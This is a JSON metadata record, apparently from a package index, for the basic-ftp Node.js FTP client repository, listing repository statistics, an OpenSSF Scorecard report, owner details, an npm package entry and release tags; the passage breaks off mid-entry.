{"id":369236,"url":"https://github.com/patrickjuchli/basic-ftp","last_synced_at":"2026-08-24T12:06:57.143Z","repository":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"patrickjuchli","name":"Patrick Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"packages":[{"id":1461656,"name":"basic-ftp-test","ecosystem":"npm","description":"FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.","homepage":"https://github.com/patrickjuchli/basic-ftp#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":["ftp","ftps","promise","async","await","tls","ipv6","typescript"],"namespace":null,"versions_count":6,"first_release_published_at":"2021-09-01T16:28:30.136Z","latest_release_published_at":"2021-09-02T08:22:10.035Z","latest_release_number":"4.6.12","last_synced_at":"2026-08-22T12:35:13.416Z","created_at":"2022-04-09T02:02:02.751Z","updated_at":"2026-08-22T15:55:02.530Z","registry_url":"https://www.npmjs.com/package/basic-ftp-test","install_command":"npm install basic-ftp-test","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"4.6.12"},"contentPolicy":null},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patrickjuchli","name":"Patrick Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"tags":[{"name":"v6.2.0","sha":"a825fdca3cd3895e0535726a473e143fc2755291","kind":"commit","published_at":"2026-08-02T08:00:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"e025e1d826a9948afb23ed5e7cde438dc8bd1bcd","kind":"commit","published_at":"2026-08-01T16:39:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"4d608b9116c8d2674728953fd9a3adfb1ddd7b03","kind":"commit","published_at":"2026-07-25T09:17:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"aab681b95e665d4940b131a8d23e2ae11d93f38b","kind":"commit","published_at":"2026-05-03T08:43:49.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2